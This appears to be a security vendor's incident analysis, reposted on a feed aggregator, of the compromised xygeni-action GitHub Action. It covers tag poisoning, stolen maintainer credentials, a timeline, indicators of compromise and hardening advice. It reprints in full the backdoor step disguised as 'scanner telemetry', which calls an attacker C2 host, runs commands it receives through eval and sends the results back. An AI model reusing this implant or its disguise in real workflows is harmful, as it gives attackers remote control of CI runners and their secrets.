惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

云风的 BLOG
云风的 BLOG
V
Visual Studio Blog
人人都是产品经理
人人都是产品经理
The GitHub Blog
The GitHub Blog
月光博客
月光博客
T
Tailwind CSS Blog
小众软件
小众软件
Y
Y Combinator Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
P
Proofpoint News Feed
B
Blog RSS Feed
博客园 - 司徒正美
A
About on SuperTechFans
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
博客园 - 聂微东
Microsoft Security Blog
Microsoft Security Blog
Recent Announcements
Recent Announcements
博客园 - Franky
U
Unit 42
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Microsoft Azure Blog
Microsoft Azure Blog
T
The Blog of Author Tim Ferriss
GbyAI
GbyAI
Apple Machine Learning Research
Apple Machine Learning Research

Step Security Blog

Announcing Dependabot Configuration Enhancements: Cooldown and Group Support - StepSecurity Securing Vibe Coding and AI Coding Agents: An End-to-End Approach with StepSecurity - StepSecurity Introducing StepSecurity Dev Machine Guard: Protecting Developer Machines from Supply Chain Attacks - StepSecurity Top 2024 Predictions for CI/CD Security - StepSecurity Dev Machine Guard Is Now Open Source: See What's Really Running on Your Developer Machine - StepSecurity Datadog's DevSecOps 2026 Report Validates What We've Been Building - StepSecurity hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions - Microsoft, DataDog, and CNCF Projects Hit So Far - StepSecurity Cline Supply Chain Attack Detected: cline@2.3.0 Silently Installs OpenClaw - StepSecurity StepSecurity’s Unified Protection Across the SDLC Infrastructure Threat Framework (SITF) - StepSecurity @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence - StepSecurity axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity Behind the Scenes: How StepSecurity Detected and Helped Remediate the Largest npm Supply Chain Attack - StepSecurity 10 Layers Deep: How StepSecurity Stops TeamPCP's Trivy Supply Chain Attack on GitHub Actions - StepSecurity Malicious IoliteLabs VSCode Extensions Target Solidity Developers on Windows, macOS, and Linux with Backdoor - StepSecurity TeamPCP Plants WAV Steganography Credential Stealer in telnyx PyPI Package - StepSecurity litellm: Credential Stealer Hidden in PyPI Wheel - StepSecurity Checkmarx KICS GitHub Action Compromised: Malware Injected in All Git Tags - StepSecurity CanisterWorm: How a Self-Propagating npm Worm Is Spreading Backdoors Across the Ecosystem - StepSecurity Trivy Compromised a Second Time - Malicious v0.69.4 Release, aquasecurity/setup-trivy, aquasecurity/trivy-action GitHub Actions Compromised - StepSecurity bittensor-wallet 4.0.2 Compromised on PyPI - Backdoor Exfiltrates Private Keys - StepSecurity Malicious npm Releases Found in Popular React Native Packages - 130K+ Monthly Downloads Compromised - StepSecurity Malicious Polymarket Bot Hides in Hijacked dev-protocol GitHub Org and Steals Wallet Keys - StepSecurity ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push - StepSecurity kubernetes-el Compromised: How a Pwn Request Exploited a Popular Emacs Package - StepSecurity How StepSecurity Caught a Release Storm in Microsoft’s @types Packages - StepSecurity Harden Runner Now Supports Windows and macOS GitHub Actions Runners - StepSecurity 10,000 Open-Source Projects Now Secured by Harden-Runner Community-Tier: A Milestone Three Years in the Making - StepSecurity 20+ Popular NPM Packages Compromised (Chalk, Debug, Strip-ANSI, Color-Convert, Wrap-ANSI...) - StepSecurity 2024 in Review: The Evolution of CI/CD Security & What's Next - StepSecurity How to Use Docker in Actions Runner Controller (ARC) Runners Securely - StepSecurity
xygeni-action Compromised: C2 Reverse Shell Backdoor Inje...
2026-03-26 · via Step Security Blog

On March 3, 2026, an attacker with access to maintainer accounts and a GitHub App token injected a full command-and-control (C2) reverse shell into xygeni/xygeni-action, the official GitHub Action published by Xygeni.

The backdoor was disguised as a "scanner version telemetry" step. Three pull requests carrying the malicious code were opened and closed without merging - but the attacker also moved the v5 shortcut tag to point at the backdoored commit. For 7 days (March 3–10), anyone referencing xygeni/xygeni-action@v5 in their workflows was running a C2 implant.

Update (March 10, 2026): Xygeni has removed the compromised v5 tag, rotated all contributor tokens, enabled release immutability across all repositories, and added tag protection rules. They have published a full incident report. Users should pin to v6.4.0 or the full commit SHA 13c6ed2797df7d85749864e2cbcf09c893f43b23.

Are your actions pinned to commit SHAs?

Mutable tags are the #1 supply chain attack vector for GitHub Actions. StepSecurity can not only detect unpinned actions, overprivileged tokens, and other misconfigurations — but also fix them using automated pull requests.

Start Free →

What Happened

On March 3, 2026, three pull requests were opened against xygeni/xygeni-action in rapid succession, all carrying the same backdoor payload:

  • PR #46 (10:22 UTC) — Opened by nico-car, a legitimate long-time maintainer with commits going back to 2023. The commit was signed with felix.carnicero@xygeni.io, a Xygeni employee email. Closed at 10:29 without merging.
  • PR #47 (10:41 UTC) — Also opened by nico-car. Closed at 10:44 without merging.
  • PR #48 (10:45 UTC) — Opened by xygeni-onboarding-app-dev[bot], a Xygeni-owned GitHub App. Notably, nico-car approved this PR with the comment "Looks good, telemetry step verified." — further evidence of compromised credentials. The PR author now shows as ghost (account deleted). Closed at 10:49 without merging.

All three PRs had the same title pattern ("add scanner version telemetry reporting") and an identical malicious payload in action.yml. The PRs were closed without merging — but the attacker also force-pushed the v5 mutable tag to point at the backdoored commit from PR #48.

The Backdoor: A Full C2 Reverse Shell

The payload was inserted as a new step called "Report Scanner Telemetry" in action.yml, positioned between the scanner installation and the actual scan. It uses heavily obfuscated variable names and runs in the background (&) so the legitimate scan proceeds normally — the user sees no difference in their workflow output.

Here's the malicious code with annotations:

- name: 'Report Scanner Telemetry'
 shell: bash
 run: |
   # Report scanner version and environment for usage analytics
   _xv=$($HOME/.xygeni/xygeni --version 2>/dev/null | head -1 || echo "unknown")
   (
     # C2 server endpoint (IP hidden behind nip.io DNS)
     _e="https://security-verify.91.214.78.178.nip.io"
     _k="X-B: sL5x#9kR!vQ2\$mN7"    # Authentication header

     _c(){ curl -sfk -m8 -H "$_k" "$@"; }   # Helper: silent curl, skip TLS verify

     # STEP 1: Register with C2 — sends hostname, username, OS info
     _r=$(_c -X POST -H "Content-Type: application/json" \
       -d "{\"h\":\"$(hostname -f)\",\"u\":\"$(id -un)\",\"o\":\"$(uname -sr) v${_xv}\"}" \
       "$_e/b/in") || exit 0

     [ -z "$_r" ] && exit 0
     _b="${_r%%:*}"    # Extract bot ID from response

     # Encoder: compress + base64 command output
     _enc(){ python3 -c "import sys,zlib,base64;sys.stdout.write(
       base64.b64encode(zlib.compress(sys.stdin.buffer.read())).decode()
     )" 2>/dev/null || base64|tr -d '\n'; }

     # STEP 2: Poll for commands for 180 seconds
     _t=$(($(date +%s)+180))
     while [ "$(date +%s)" -lt "$_t" ]; do
       _d=$(_c "$_e/b/q?b=$_b") || break       # Fetch command
       [ "$_d" != "-" ] && [ -n "$_d" ] && \
         # STEP 3: Execute command and send results back
         _c -X POST -H "Content-Type: application/json" \
           -d "{\"b\":\"$_b\",\"r\":\"$(eval \"$_d\" 2>&1|_enc)\"}" \
           "$_e/b/r" >/dev/null 2>&1
       sleep $((RANDOM%5+2))                    # Random delay (2-7s)
     done
   ) &                                          # Run in background
   echo "::debug::Telemetry reported: $_xv"     # Innocent-looking log line

This is not a simple data exfiltration script. It's a full interactive C2 implant that:

  • Registers with a command-and-control server at 91.214.78.178 (hidden behind a nip.io wildcard DNS record), sending the runner's hostname, username, and OS version
  • Polls for arbitrary commands every 2-7 seconds for 3 minutes
  • Executes whatever the C2 server sends via eval and returns the compressed, base64-encoded output
  • Runs silently in the background while the normal Xygeni scan proceeds
  • Skips TLS verification (curl -k) to avoid certificate errors
  • Uses an authentication header (X-B: sL5x#9kR!vQ2$mN7) to prevent unauthorized access to the C2 endpoint

During those 3 minutes, the attacker could execute any command on the CI runner — steal environment variables (including GITHUB_TOKEN, XYGENI_TOKEN, and any other secrets), read source code, modify build artifacts, or pivot to other systems accessible from the runner.

⛔ curl https://security-verify.91.214.78.178.nip.io → BLOCKED

This is what StepSecurity Harden-Runner prevents

Real-time network egress monitoring for GitHub Actions. The C2 callback to 91.214.78.178 would have been detected and blocked before the implant could register, receive commands, or exfiltrate data.

The Real Attack: Tag Poisoning

The three PRs were a distraction — or perhaps failed attempts that were caught and closed by other maintainers. The real attack was moving the v5 tag.

GitHub Actions users commonly reference actions by major version shortcut tags:

# How most users reference the action:
uses: xygeni/xygeni-action@v5

# What this actually resolves to:
# Whatever commit the "v5" tag points to

The v5 tag is a mutable lightweight tag — anyone with write access can move it to point at any commit. The attacker moved it from the legitimate v5.38.1 release (commit ea66a5a) to the backdoored commit 4bf1d4e from PR #48's branch.

This means:

  • No workflow file changes required — every repository already referencing @v5 silently started running the backdoor
  • No PR merge needed — the malicious commit doesn't need to be on the main branch; tags can point to any commit in the repository
  • No visible change in the user's workflow — the action reference in their YAML file looks exactly the same

Tag state (as of March 9, 2026)

  • v5 → commit 4bf1d4eCOMPROMISED (C2 backdoor by xygeni-onboarding-app-dev[bot])
  • v5.38.1 → commit ea66a5a — Clean (legitimate release)
  • v6 / v6.4.0 → commit 13c6ed2 — Clean (post-incident release with checksum verification)

Current tag state (as of March 11, 2026)

  • v5REMOVED (was pointing to backdoored commit 4bf1d4e; deleted by Xygeni on March 10)
  • v5.38.1 → commit ea66a5a — Clean (legitimate release)
  • v6 / v6.4.0 → commit 13c6ed2 — Clean (post-incident release with checksum verification)

Compromised Credentials, Not an Outside Attacker

This was not a fork-based attack from an external account. The malicious PRs came from inside the Xygeni organization:

  • PR #46: Commit signed with felix.carnicero@xygeni.io (a Xygeni employee who has been merging PRs in this repo since 2022)
  • PR #47: Opened by nico-car (a maintainer with commits to this repo since 2023, including the SAST scan upload feature)
  • PR #48: Opened by xygeni-onboarding-app-dev[bot] (a Xygeni-owned GitHub App)

Three different identities — two human maintainer accounts and one GitHub App — all used within a 23-minute window to push the exact same backdoor. This strongly suggests compromised credentials rather than a rogue insider: either the maintainer accounts were phished, their tokens were stolen, or the GitHub App's private key was compromised.

The rapid sequence (PR opened, closed 4-8 minutes later, new PR with same payload from different identity) suggests the attacker was racing to get the code in before being detected, switching identities when each attempt was blocked.

Post-incident response

Within 2 hours of the malicious PRs, the Xygeni team:

  • Closed all 3 PRs without merging
  • Deleted all workflows from the repository (commits a7ab78a and 6db3c3c)

Six days later (March 9), they released v6.4.0 with checksum verification for the scanner download and updated the README with SHA pinning guidance. However, the v5 tag was not fixed — it was still pointing to the backdoored commit.

On March 10, after StepSecurity published this analysis and reported the issue to security@xygeni.io, Xygeni took additional remediation steps:

  • Removed the compromised v5 tag
  • Rotated all contributor tokens, including the two compromised maintainer accounts
  • Enabled release immutability across all Xygeni-owned repositories, preventing tag modification or deletion on existing releases
  • Added tag protection rules to prevent unauthorized tag creation or updates
  • Hardened branch protection, including mandatory signed commits
  • Updated documentation to recommend pinning to the full commit SHA

Xygeni published a full incident report confirming the compromise was caused by stolen GitHub credentials.

Responsible Disclosure

StepSecurity reported this compromise to Xygeni via responsible disclosure on March 9, 2026. Given that the v5 tag was still poisoned at the time of reporting, we published this analysis in the interest of time to protect affected users. Xygeni responded on March 10 by removing the compromised tag, rotating credentials, and publishing their own incident report.

Attack Timeline

March 3, 2026

  • 10:21 UTC — Malicious commit ceead6d created, signed with felix.carnicero@xygeni.io
  • 10:22 UTCPR #46 opened by nico-car ("feat: add scanner version telemetry reporting")
  • 10:29 UTC — PR #46 closed without merging
  • 10:41 UTCPR #47 opened by nico-car ("improvement: add scanner version telemetry reporting")
  • 10:44 UTC — PR #47 closed without merging
  • 10:45 UTCPR #48 opened by xygeni-onboarding-app-dev[bot]
  • 10:49 UTC — PR #48 closed without merging
  • ~10:49 UTCv5 tag moved to backdoored commit 4bf1d4e
  • 12:23 UTC — Maintainers delete testing.yml workflow
  • 12:25 UTC — Maintainers delete remaining workflows (main.yml, nightly-build.yml, testing-demo.yml)

March 9, 2026

  • 08:49 UTC — Checksum verification added to scanner download
  • 12:02 UTCv6.4.0 released with SHA pinning guidance in README
  • 19:57 UTCIssue #54 opened asking about the malicious code
  • v5 tag still points to backdoored commit

March 10, 2026

  • 10:20 UTC — Xygeni publishes incident report on Issue #54
  • Compromised v5 tag removed
  • All contributor tokens rotated
  • Release immutability enabled across all Xygeni repositories
  • Tag protection rules and hardened branch protection added
  • 10:24 UTC — Issue #54 closed as fixed

Why Tag Poisoning Is So Dangerous

This attack exploits a fundamental design choice in GitHub Actions: mutable tags are the default way to reference actions. GitHub's own documentation recommends using major version tags like @v5 for convenience. But this means:

  • A single tag push replaces trusted code for all consumers — no PR, no review, no notification
  • The user's workflow file doesn't changeuses: xygeni/xygeni-action@v5 looks the same before and after the attack
  • Git history on main shows nothing — the malicious commit lives on a branch that was never merged; only the tag reference changed
  • Dependabot and Renovate won't flag it — they update version references, not detect tag mutations

This is the same attack vector that was exploited in the tj-actions/changed-files compromise in March 2025, where mutable tags on a popular action were pointed at malicious commits that exfiltrated CI/CD secrets from thousands of repositories.

StepSecurity's Harden-Runner was the first tool to detect the tj-actions/changed-files compromise by catching the unauthorized outbound network call from the poisoned action. The same runtime monitoring would have detected the C2 callback to 91.214.78.178 in this attack.

How to Protect Your Workflows

1. Pin actions to full commit SHAs, not tags

Tags are mutable. Commit SHAs are not. Always reference actions by their full SHA:

# DANGEROUS — mutable tag, can be silently replaced:
uses: xygeni/xygeni-action@v5

# SAFE — immutable commit reference:
uses: xygeni/xygeni-action@ea66a5ad3128270e853f46013be382e761d930b9  # v5.38.1

StepSecurity's Orchestrate Security can automatically open pull requests to pin all your action references to commit SHAs across your repositories — enforcing pinning as policy rather than relying on developers to remember.

Are your actions pinned to commit SHAs?

Mutable tags are the #1 supply chain attack vector for GitHub Actions. StepSecurity can not only detect unpinned actions, overprivileged tokens, and other misconfigurations — but also fix them using automated pull requests.

Start Free →

2. Use maintained actions instead of community actions

Even pinning to a commit SHA doesn't help if the action's source repository is compromised and a new malicious commit is introduced. StepSecurity offers Maintained Actions — verified, security-hardened forks of popular GitHub Actions that are independently maintained and audited. By using StepSecurity-maintained versions of common actions, you eliminate the risk of upstream compromise entirely.

3. Monitor network egress from CI runners

The backdoor's first action is a network call to 91.214.78.178. StepSecurity Harden-Runner monitors all outbound connections from GitHub Actions runners and blocks calls to unauthorized endpoints. The C2 callback would have been caught before the implant could register or receive commands.

Here is Harden-Runner in block mode detecting and blocking the C2 callback to security-verify.91.214.78.178.nip.io:

4. Block compromised actions before they run

StepSecurity's Compromised Actions Policy blocks workflow runs that reference known-compromised actions before they execute. When StepSecurity's threat intelligence identifies a poisoned action — like the xygeni-action@v5 tag in this incident — the policy prevents any workflow using it from running, stopping the attack at the gate rather than relying on runtime detection.

Here is the Compromised Actions Policy in action — the workflow run using xygeni-action@v5 was forcefully cancelled by @stepsecurity-app[bot] before the backdoor could execute:

5. Audit third-party actions before use5. Audit third-party actions before use

Even actions from security vendors can be compromised. Review the source code of any action you add to your workflows, and set up alerts for when action source code changes unexpectedly.

StepSecurity's Action Advisor helps you assess the risk of any third-party GitHub Action before you add it to your workflows. It scores actions on a 1–10 scale based on factors like maintainer activity, security best practices, and whether a StepSecurity-maintained alternative is available.

6. Detect imposter commits

In this attack, the malicious commit 4bf1d4e was never merged into the default branch, the v5 tag was simply moved to point at it. This same technique was used in the tj-actions and reviewdog attacks: tags were pointed at commits outside the default branch to bypass PR reviews entirely. And troublingly, many legitimate actions follow release processes that produce the same warning - making it difficult to distinguish a real attack from a quirky build pipeline.

StepSecurity's Harden-Runner includes Imposter Commit Detection that automatically alerts you whenever a workflow runs an action whose tag or commit SHA doesn't belong to any branch in the action's repository. Rather than relying on developers to manually check each commit on GitHub, Harden-Runner flags these cases in real time  so you can catch both compromised tags and risky release patterns before they become a problem.

Indicators of Compromise

  • C2 Server: security-verify[.]91[.]214[.]78[.]178[.]nip.io (resolves to 91[.]214[.]78[.]178)
  • C2 Endpoints: /b/in (register), /b/q (poll commands), /b/r (return results)
  • C2 Auth Header: X-B: sL5x#9kR!vQ2$mN7
  • Poisoned Tag: xygeni/xygeni-action@v5 → commit 4bf1d4e19ad81a3e8d4063755ae0f482dd3baf12
  • Malicious Commits:
    • ceead6d (PR #46, signed as felix.carnicero@xygeni.io)
    • 2d615f4 (PR #47, by nico-car)
    • 4bf1d4e (PR #48, by xygeni-onboarding-app-dev[bot])
  • Malicious PRs: #46, #47, #48
  • Compromised Identities: nico-car, fcarnicero (email), xygeni-onboarding-app-dev[bot]